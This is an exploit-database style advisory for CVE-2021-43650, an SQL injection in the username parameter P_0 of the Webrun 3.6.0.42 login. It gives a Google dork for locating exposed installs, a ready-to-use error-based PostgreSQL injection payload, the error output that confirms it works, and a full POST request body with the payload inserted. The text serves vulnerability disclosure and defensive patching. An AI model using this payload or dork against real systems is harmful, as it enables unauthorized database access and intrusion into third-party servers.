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Webrun 3.6.0.42 - 'P_0' SQL Injection

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# Exploit Title: Webrun 3.6.0.42 - 'P_0' SQL Injection
# Google Dork: intitle:"Webrun 3.6.0.42"
# Date: 23/11/2021
# Exploit Author: Vinicius Alves
# Vendor Homepage: https://softwell.com.br/
# Version: 3.6.0.42
# Tested on: Kali Linux 2021.3
# CVE: CVE-2021-43650

=-=-=-= Description =-=-=-=


Webrun version 3.6.0.42 is vulnerable to SQL Injection, applied to the P_0
parameter used to set the username during the login process.


=-=-=-= Exploiting =-=-=-=


In the post request, change the P_0 value to the following payload:
121')+AND+5110%3dCAST((CHR(113)||CHR(118)||CHR(118)||CHR(120)||CHR(113))||(SELECT+(CASE+WHEN+(5110%3d5110)+THEN+1+ELSE+0+END))%3a%3atext||(CHR(113)||CHR(98)||CHR(122)||CHR(98)||CHR(113))+AS+NUMERIC)+AND+('AYkd'%3d'AYkd


You will see some information like below:


interactionError('ERRO: sintaxe de entrada é inválida para tipo numeric:
\"qvvxq1qbzbq\"', null, null, null, '<b>


=-=-=-= POC =-=-=-=


If the return has the value 'qvvxq1qbzbq', you will be able to successfully
exploit this.


See an example of the complete POST parameter:


action=executeRule&pType=2&ruleName=GES_FLX_Gerar+Token+Dashboard&sys=GES&formID=8265&parentRID=-1&P_0=121')+AND+5110%3dCAST((CHR(113)||CHR(118)||CHR(118)||CHR(120)||CHR(113))||(SELECT+(CASE+WHEN+(5110%3d5110)+THEN+1+ELSE+0+END))%3a%3atext||(CHR(113)||CHR(98)||CHR(122)||CHR(98)||CHR(113))+AS+NUMERIC)+AND+('AYkd'%3d'AYkd&P_1=pwd
            
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